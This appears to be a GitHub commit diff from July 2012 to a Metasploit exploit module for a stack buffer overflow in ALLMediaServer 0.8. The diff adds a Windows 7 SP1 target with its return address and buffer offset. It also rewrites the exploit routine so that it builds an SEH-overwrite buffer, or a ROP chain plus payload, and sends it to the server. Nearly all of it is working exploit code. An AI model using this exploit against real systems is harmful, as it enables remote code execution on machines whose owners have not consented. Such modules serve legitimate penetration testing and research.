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Target W7 updated according to #607 #608

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Jul 15, 2012
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Target W7 updated according to #607 #608

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32 changes: 20 additions & 12 deletions modules/exploits/windows/misc/allmediaserver_bof.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -17,9 +17,13 @@ def initialize(info = {})
super(update_info(info,
'Name' => 'ALLMediaServer 0.8 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in ALLMediaServer 0.8.
The vulnerability is caused due to a boundary error within the
handling of HTTP request.
This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability
is caused due to a boundary error within the handling of HTTP request.

While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't
reliable across virtual (VMWare, VirtualBox) and physical environments. Because of
this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default
DEP is OptIn and AllMediaServer won't run with DEP.
},
'License' => MSF_LICENSE,
'Author' =>
Expand Down Expand Up @@ -56,9 +60,7 @@ def initialize(info = {})
],
[ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',
{
'Ret' => 0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
'OffsetRop' => 332,
'jmp' => 628,
'Ret' => 0x6ac5cc92, # ppr from avformat-53.dll
'Offset' => 1072
}
],
Expand Down Expand Up @@ -109,12 +111,18 @@ def exploit

connect

buffer = rand_text(target['OffsetRop']) #junk
buffer << rop
buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload
buffer << rand_text(target['Offset'] - buffer.length)
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
if target.name =~ /Windows 7/
buffer = rand_text(target['Offset'])
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
else
buffer = rand_text(target['OffsetRop']) #junk
buffer << rop
buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload
buffer << rand_text(target['Offset'] - buffer.length)
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
end

print_status("Sending payload to ALLMediaServer on #{target.name}...")
sock.put(buffer)
Expand Down